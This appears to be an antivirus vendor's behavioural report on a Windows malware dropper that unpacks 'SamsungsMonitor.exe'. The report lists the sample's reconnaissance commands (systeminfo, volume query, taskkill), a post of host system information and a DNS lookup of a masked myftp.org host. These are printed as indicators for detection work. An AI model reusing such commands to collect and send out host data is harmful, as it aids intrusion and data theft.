Technical Information
Malicious functions:
Creates and executes the following:
- '%TEMP%\7ZipSfx.000\SamsungsMonitor.exe' --post-data="comp=CRNJEUFU&id=new_CRNJEUFU_is&sysinfo=Host Name: CRNJEUFU+###OS Name: Microsoft Windows XP Professional+###OS Version: 5.1.2600 ...
Executes the following:
- '<SYSTEM32>\cmd.exe' /c vol c:
- '<SYSTEM32>\taskkill.exe' /f /im SamsungsMonitor.exe
- '<SYSTEM32>\systeminfo.exe'
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\7ZipSfx.000\Samsung.cmd" "
- '<SYSTEM32>\cmd.exe' /S /D /c" ver "
- '<SYSTEM32>\find.exe' "Microsoft Windows XP"
Modifies file system:
Creates the following files:
- %WINDIR%\PowerDisks\updates.txt
- %TEMP%\7ZipSfx.000\system.txt
- %TEMP%\7ZipSfx.000\updates.txt
- %TEMP%\7ZipSfx.000\Samsung.cmd
- %TEMP%\7ZipSfx.000\SamsungsMonitor.exe
Network activity:
UDP:
- DNS ASK ar####rt.myftp.org
Miscellaneous:
Searches for the following windows:
- ClassName: '' WindowName: ''
